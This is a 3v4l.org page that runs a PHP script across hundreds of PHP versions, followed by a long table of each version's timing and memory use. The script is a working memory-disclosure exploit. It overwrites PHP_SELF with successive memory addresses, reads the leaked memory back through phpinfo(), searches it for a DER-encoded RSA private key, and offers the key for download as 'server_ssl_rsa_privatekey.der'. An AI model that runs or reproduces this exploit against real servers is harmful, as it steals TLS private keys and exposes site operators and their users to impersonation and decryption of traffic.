3v4l.org

run code in 300+ PHP versions simultaneously
<?phpset_time_limit(0);$starthi = 0xb788;if (isset($_GET['start'])) { $starthi = $_GET['start'] + 0;}$i = 0; $z = 0; $olddata = ""; $keydata = "";$PHP_SELF = ($starthi << 16) | $i;while (true) { $data = ""; while (strlen($data) < 4096) { ob_start(); @phpinfo(INFO_VARIABLES); $var = ob_get_contents(); ob_get_clean(); $r = preg_match("|PHP_SELF.</td><td class=\"v\">(.*).</td></tr>|mUs",$var,$match); $var = $match[1]; if ($var == "<i>no value</i>") $var = chr(0); else $var .= chr(0); $var = html_entity_decode($var,ENT_QUOTES,"ISO-8859-1"); $data .= $var; $i += strlen($var); if ($i > 0xffff) $z++; $i = $i & 0xffff; $PHP_SELF = ($starthi + $z)<<16 | $i; } $check = $olddata . $data; $olddata = $data; $data = $check; $position = strpos($data, "\x30\x82"); if ($position !== false && $position < strlen($data)-1024) { if (substr($data, $position+4, 4) == "\x02\x01\x00\x02") { $length = ord($data[$position+2])*256+ord($data[$position+3])+4; $keydata = substr($data, $position, $length); if (strpos($keydata, "\x01\x00\x01") > 0) break; } }}if (strlen($keydata) == 0) { header("Content-type: text/plain"); die ("Unexpected error!!!");}header("Content-type: application/octet-stream");header("Content-Disposition: attachment; filename=\"server_ssl_rsa_privatekey.der\"");echo $keydata;

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0070.01318.30
8.3.50.0100.01122.04
8.3.40.0060.00918.64
8.3.30.0110.00418.97
8.3.20.0030.00520.25
8.3.10.0030.00520.44
8.3.00.0080.00019.38
8.2.180.0190.00316.38
8.2.170.0090.00622.96
8.2.160.0100.00320.52
8.2.150.0000.00824.18
8.2.140.0080.00024.66
8.2.130.0070.00026.16
8.2.120.0140.00720.89
8.2.110.0100.00020.47
8.2.100.0040.00718.09
8.2.90.0040.00419.23
8.2.80.0030.00617.97
8.2.70.0090.00017.50
8.2.60.0000.00817.79
8.2.50.0030.00618.07
8.2.40.0070.00018.09
8.2.30.0030.00519.18
8.2.20.0020.00517.64
8.2.10.0040.00417.95
8.2.00.0000.00817.43
8.1.280.0070.01025.92
8.1.270.0040.00421.90
8.1.260.0040.00426.35
8.1.250.0040.00428.09
8.1.240.0030.00622.19
8.1.230.0080.00317.77
8.1.220.0000.00817.74
8.1.210.0040.00418.77
8.1.200.0000.00817.00
8.1.190.0000.00817.00
8.1.180.0040.00418.10
8.1.170.0030.00618.50
8.1.160.0000.00821.85
8.1.150.0000.00718.66
8.1.140.0050.00317.32
8.1.130.0050.00217.71
8.1.120.0000.00817.26
8.1.110.0040.00417.28
8.1.100.0040.00417.29
8.1.90.0030.00317.34
8.1.80.0000.00817.32
8.1.70.0000.00717.32
8.1.60.0080.00017.45
8.1.50.0020.00517.41
8.1.40.0060.00317.28
8.1.30.0050.00317.51
8.1.20.0060.00317.38
8.1.10.0040.00417.36
8.1.00.0060.00317.40
8.0.300.0020.00518.77
8.0.290.0070.00016.63
8.0.280.0040.00318.26
8.0.270.0030.00317.19
8.0.260.0000.00617.14
8.0.250.0030.00316.89
8.0.240.0060.00316.83
8.0.230.0000.00716.87
8.0.220.0000.00716.77
8.0.210.0000.00816.73
8.0.200.0030.00616.83
8.0.190.0070.00016.71
8.0.180.0000.00716.77
8.0.170.0040.00416.75
8.0.160.0050.00216.66
8.0.150.0000.00716.52
8.0.140.0070.00016.77
8.0.130.0000.00513.34
8.0.120.0030.00616.74
8.0.110.0050.00216.64
8.0.100.0030.00516.65
8.0.90.0030.00616.87
8.0.80.0090.00616.64
8.0.70.0040.00416.82
8.0.60.0070.00016.72
8.0.50.0050.00216.61
8.0.30.0090.01016.73
8.0.20.0110.00717.40
8.0.10.0050.00216.84
8.0.00.0090.00916.78
7.4.330.0000.00515.00
7.4.320.0040.00416.36
7.4.300.0070.00016.39
7.4.290.0030.00316.30
7.4.280.0030.00616.47
7.4.270.0000.00716.47
7.4.260.0030.00316.35
7.4.250.0050.00216.35
7.4.240.0070.00016.48
7.4.230.0020.00516.50
7.4.220.0120.00616.34
7.4.210.0070.01316.31
7.4.200.0000.00616.55
7.4.160.0120.00416.34
7.4.150.0130.00317.40
7.4.140.0100.01017.86
7.4.130.0100.00916.42
7.4.120.0050.01216.34
7.4.110.0030.01316.47
7.4.100.0080.01316.39
7.4.90.0130.00916.45
7.4.80.0040.01319.37
7.4.70.0030.01316.52
7.4.60.0090.01216.37
7.4.50.0000.00816.45
7.4.40.0130.00316.39
7.4.30.0100.00516.30
7.4.00.0090.00614.57
7.3.330.0000.00613.28
7.3.320.0060.00013.04
7.3.310.0050.00216.07
7.3.300.0000.00716.04
7.3.290.0090.00616.24
7.3.280.0060.00916.16
7.3.270.0060.01217.40
7.3.260.0170.00716.07
7.3.250.0100.00816.28
7.3.240.0120.00616.44
7.3.230.0070.01616.39
7.3.210.0120.00916.02
7.3.200.0080.00919.39
7.3.190.0090.00916.17
7.3.180.0060.00916.39
7.3.170.0040.01116.35
7.3.160.0100.00716.38
7.3.10.0030.01016.45
7.3.00.0070.01016.36
7.2.330.0110.00616.53
7.2.320.0070.01716.51
7.2.310.0100.00716.41
7.2.300.0160.00616.36
7.2.290.0140.00416.57
7.2.130.0100.01016.39
7.2.120.0130.01016.57
7.2.110.0070.00816.34
7.2.100.0210.00316.25
7.2.90.0130.00416.31
7.2.80.0080.00416.60
7.2.70.0050.00916.56
7.2.60.0050.01016.56
7.2.50.0060.00616.84
7.2.40.0100.01016.32
7.2.30.0040.00816.51
7.2.20.0100.00716.36
7.2.10.0060.00916.66
7.2.00.0070.01116.46
7.1.250.0090.00615.09
7.1.200.0090.00315.38
7.1.70.0030.01216.89
7.1.60.0130.00017.15
7.1.50.0100.01016.87
7.1.00.0070.07322.43
7.0.200.0070.01016.41
7.0.140.0070.07021.95
7.0.60.0070.07320.08
7.0.50.0100.07717.93
7.0.40.0000.07020.03
7.0.30.0370.04320.33
7.0.20.0230.05320.30
7.0.10.0170.08320.09
7.0.00.0030.09320.32
5.6.280.0070.07021.16
5.6.210.0130.07020.52
5.6.200.0100.08018.15
5.6.190.0130.07720.67
5.6.180.0330.04720.77
5.6.170.0230.05020.35
5.6.160.0030.09020.55
5.6.150.0100.08018.15
5.6.140.0000.09018.12
5.6.130.0070.04318.11
5.6.120.0070.05720.88
5.6.110.0130.06721.15
5.6.100.0070.04020.98
5.6.90.0070.07320.96
5.6.80.0100.06720.37
5.5.350.0170.08020.38
5.5.340.0100.07317.95
5.5.330.0070.06020.19
5.5.320.0300.04320.24
5.5.310.0270.06720.41
5.5.300.0030.08018.02
5.5.290.0100.07318.00
5.5.280.0000.07020.91
5.5.270.0000.05320.88
5.5.260.0100.08320.80
5.5.250.0130.07720.50
5.5.240.2500.04320.09
5.4.450.0000.03719.14
5.4.440.0870.07019.13
5.4.430.0200.04319.38
5.4.420.0670.00019.17
5.4.410.0700.00019.34
5.4.400.0600.00019.33
5.4.390.0670.00018.92
5.4.380.0370.05718.53
5.4.370.0430.07018.56
5.4.360.0400.05018.79
5.4.350.0270.06018.72
5.4.340.0270.06718.59
5.4.320.0060.03512.45
5.4.310.0070.04212.45
5.4.300.0040.03812.45
5.4.290.0060.04112.45
5.4.280.0080.03612.35
5.4.270.0080.03812.34
5.4.260.0080.03912.34
5.4.250.0060.03612.35
5.4.240.0110.03612.35
5.4.230.0040.03912.34
5.4.220.0060.03612.34
5.4.210.0050.03812.34
5.4.200.0080.03912.34
5.4.190.0050.03712.33
5.4.180.0030.03912.34
5.4.170.0060.03512.34
5.4.160.0070.03812.34
5.4.150.0090.03212.34
5.4.140.0090.03712.02
5.4.130.0080.03512.01
5.4.120.0050.03611.97
5.4.110.0030.03811.96
5.4.100.0080.03311.96
5.4.90.0070.03811.96
5.4.80.0060.03611.96
5.4.70.0070.03411.96
5.4.60.0050.03811.96
5.4.50.0050.03711.96
5.4.40.0040.03711.95
5.4.30.0080.03311.95
5.4.20.0060.04011.95
5.4.10.0070.03311.95
5.4.00.0040.03911.43
5.3.290.0100.04012.80
5.3.280.0050.03912.71
5.3.270.0040.04112.72
5.3.260.0090.03712.72
5.3.250.0050.03812.72
5.3.240.0050.03812.72
5.3.230.0070.04112.71
5.3.220.0070.03612.68
5.3.210.0060.03812.68
5.3.200.0070.03412.68
5.3.190.0030.03912.68
5.3.180.0060.03612.68
5.3.170.0050.03612.67
5.3.160.0050.03612.67
5.3.150.0050.03712.67
5.3.140.0070.04112.66
5.3.130.0080.03912.66
5.3.120.0050.04312.66
5.3.110.0060.04512.66
5.3.100.0080.03412.11
5.3.90.0060.03612.08
5.3.80.0050.03712.08
5.3.70.0050.04412.07
5.3.60.0080.03412.06
5.3.50.0080.04112.00
5.3.40.0070.03512.00
5.3.30.0060.03311.94
5.3.20.0080.03111.72
5.3.10.0110.03511.69
5.3.00.0040.03711.68
5.2.170.0070.0289.18
5.2.160.0050.0299.18
5.2.150.0040.0449.18
5.2.140.0050.0309.18
5.2.130.0060.0289.13
5.2.120.0060.0299.13
5.2.110.0050.0299.14
5.2.100.0070.0269.13
5.2.90.0040.0299.13
5.2.80.0070.0369.13
5.2.70.0070.0319.13
5.2.60.0050.0349.09
5.2.50.0040.0319.05
5.2.40.0050.0289.04
5.2.30.0060.0279.00
5.2.20.0040.0309.00
5.2.10.0060.0348.92
5.2.00.0050.0308.77
5.1.60.0010.0288.06
5.1.50.0050.0268.06
5.1.40.0030.0268.04
5.1.30.0050.0258.39
5.1.20.0060.0258.41
5.1.10.0050.0258.14
5.1.00.0050.0278.14
5.0.50.0060.0246.61
5.0.40.0030.0206.48
5.0.30.0050.0356.29
5.0.20.0020.0206.25
5.0.10.0040.0196.24
5.0.00.0030.0316.23
4.4.90.0030.0174.77
4.4.80.0030.0204.76
4.4.70.0050.0144.76
4.4.60.0040.0154.75
4.4.50.0030.0154.77
4.4.40.0010.0304.71
4.4.30.0060.0124.75
4.4.20.0010.0184.85
4.4.10.0030.0164.85
4.4.00.0040.0254.76
4.3.110.0040.0144.67
4.3.100.0050.0124.66
4.3.90.0040.0164.63
4.3.80.0030.0254.58
4.3.70.0050.0164.63
4.3.60.0030.0204.63
4.3.50.0050.0174.63
4.3.40.0030.0244.54
4.3.30.0030.0193.28
4.3.20.0050.0173.26
4.3.10.0010.0183.22
4.3.00.0030.01314.30

preferences:
84.09 ms | 401 KiB | 5 Q